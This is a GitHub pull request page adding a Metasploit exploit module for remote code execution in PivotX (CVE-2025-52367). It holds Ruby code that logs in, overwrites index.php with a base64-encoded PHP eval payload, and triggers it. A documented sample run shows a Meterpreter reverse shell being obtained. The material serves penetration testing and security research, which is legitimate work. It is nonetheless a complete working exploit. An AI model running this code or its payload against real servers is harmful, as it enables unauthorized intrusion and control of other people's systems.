-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Adds module for PivotX RCE (CVE-2025-52367) #20400
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
Show all changes
9 commits
Select commit
Hold shift + click to select a range
ed5c133
Module init
msutovsky-r7 75f6e6a
Refactors code, adds description, fixes CVE
msutovsky-r7 54c86cf
Addressing comments
msutovsky-r7 edfa84e
Uses Rex::MIME::Message instead of manual form-data
msutovsky-r7 2328b40
Unifies parenthesis in fail_with calling, whitespaces fixes, changing…
msutovsky-r7 744188f
Updates docs
msutovsky-r7 c9e0c71
Adds cleanup method
msutovsky-r7 8130316
Removes unnecessary new line
msutovsky-r7 0273f14
Added incorrect creds check
jheysel-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
56 changes: 56 additions & 0 deletions
56
documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
## Vulnerable Application | ||
|
||
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general. | ||
It's written in PHP and uses MySQL or flat files as a database. | ||
|
||
Install steps: | ||
|
||
1. Install Apache2, MySQL, PHP8.2+ | ||
1. `git clone https://github.com/pivotx/PivotX.git` | ||
1. Move `PivotX` to webfolder | ||
1. Run the following from the web folder `sudo chown -R www-data:www-data ./` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/linux/http/pivotx_rce` | ||
1. Do: `set USERNAME [PivotX username]` | ||
1. Do: `set PASSWORD [PivotX password]` | ||
1. Do: `set RHOSTS [target IP]` | ||
1. Do: `set LHOST [attacker IP]` | ||
1. Do: `run` | ||
|
||
## Options | ||
### USERNAME | ||
|
||
PivotX username. | ||
|
||
### PASSWORD | ||
|
||
PivotX password. | ||
|
||
## Scenarios | ||
|
||
``` | ||
msf exploit(linux/http/pivotx_index_php_overwrite) > run verbose=true | ||
[*] Started reverse TCP handler on 192.168.168.128:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3 | ||
[*] Logging in PivotX | ||
[*] Modifying file and injecting payload | ||
[*] Triggering payload | ||
[*] Sending stage (40004 bytes) to 192.168.168.146 | ||
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:36104) at 2025-08-01 09:38:52 +0200 | ||
|
||
[*] Restoring original content | ||
|
||
meterpreter > | ||
meterpreter > sysinfo | ||
Computer : ubuntu | ||
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64 | ||
Meterpreter : php/linux | ||
meterpreter > getuid | ||
Server username: www-data | ||
|
||
``` |
162 changes: 162 additions & 0 deletions
162
modules/exploits/linux/http/pivotx_index_php_overwrite.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,162 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html | ||
|
||
include Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'PivotX Remote Code Execution', | ||
'Description' => %q{ | ||
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'HayToN', # security research | ||
'msutovsky-r7' # module dev | ||
], | ||
'References' => [ | ||
[ 'EDB', '52361' ], | ||
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], | ||
[ 'CVE', '2025-52367'] | ||
], | ||
'Targets' => [ | ||
[ | ||
'Linux', | ||
{ | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP | ||
} | ||
] | ||
], | ||
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, | ||
'DisclosureDate' => '2025-07-10', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options([ | ||
OptString.new('USERNAME', [ true, 'PivotX username', '' ]), | ||
OptString.new('PASSWORD', [true, 'PivotX password', '']), | ||
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') | ||
}) | ||
|
||
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200 | ||
|
||
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered') | ||
|
||
html_body = res.get_html_document | ||
|
||
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } | ||
|
||
version = Rex::Version.new(Regexp.last_match(1)) | ||
|
||
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') | ||
|
||
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") | ||
end | ||
|
||
def login | ||
data_post = Rex::MIME::Message.new | ||
data_post.add_part('', nil, nil, %(form-data; name="returnto")) | ||
data_post.add_part('', nil, nil, %(form-data; name="template")) | ||
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username")) | ||
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password")) | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), | ||
'vars_get' => { 'page' => 'login' }, | ||
'ctype' => "multipart/form-data; boundary=#{data_post.bound}", | ||
'data' => data_post.to_s, | ||
'keep_cookies' => true | ||
}) | ||
|
||
fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]") | ||
fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/ | ||
|
||
@csrf_token = Regexp.last_match(1) | ||
end | ||
|
||
def modify_file | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), | ||
'vars_get' => { 'page' => 'homeexplore' } | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/ | ||
|
||
@base_dir = Regexp.last_match(1) | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), | ||
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } | ||
}) | ||
|
||
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200 | ||
|
||
@original_value = res.get_html_document.at('textarea')&.text | ||
|
||
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), | ||
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } | ||
}) | ||
|
||
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') | ||
end | ||
|
||
def trigger_payload | ||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'index.php') | ||
}) | ||
end | ||
|
||
def restore | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), | ||
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } | ||
}) | ||
vprint_status('Restoring original content') | ||
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') | ||
end | ||
|
||
def cleanup | ||
super | ||
# original content can be any string, it cannot be nil | ||
restore if @original_value.nil? | ||
end | ||
|
||
def exploit | ||
vprint_status('Logging in PivotX') | ||
login | ||
vprint_status('Modifying file and injecting payload') | ||
modify_file | ||
vprint_status('Triggering payload') | ||
trigger_payload | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.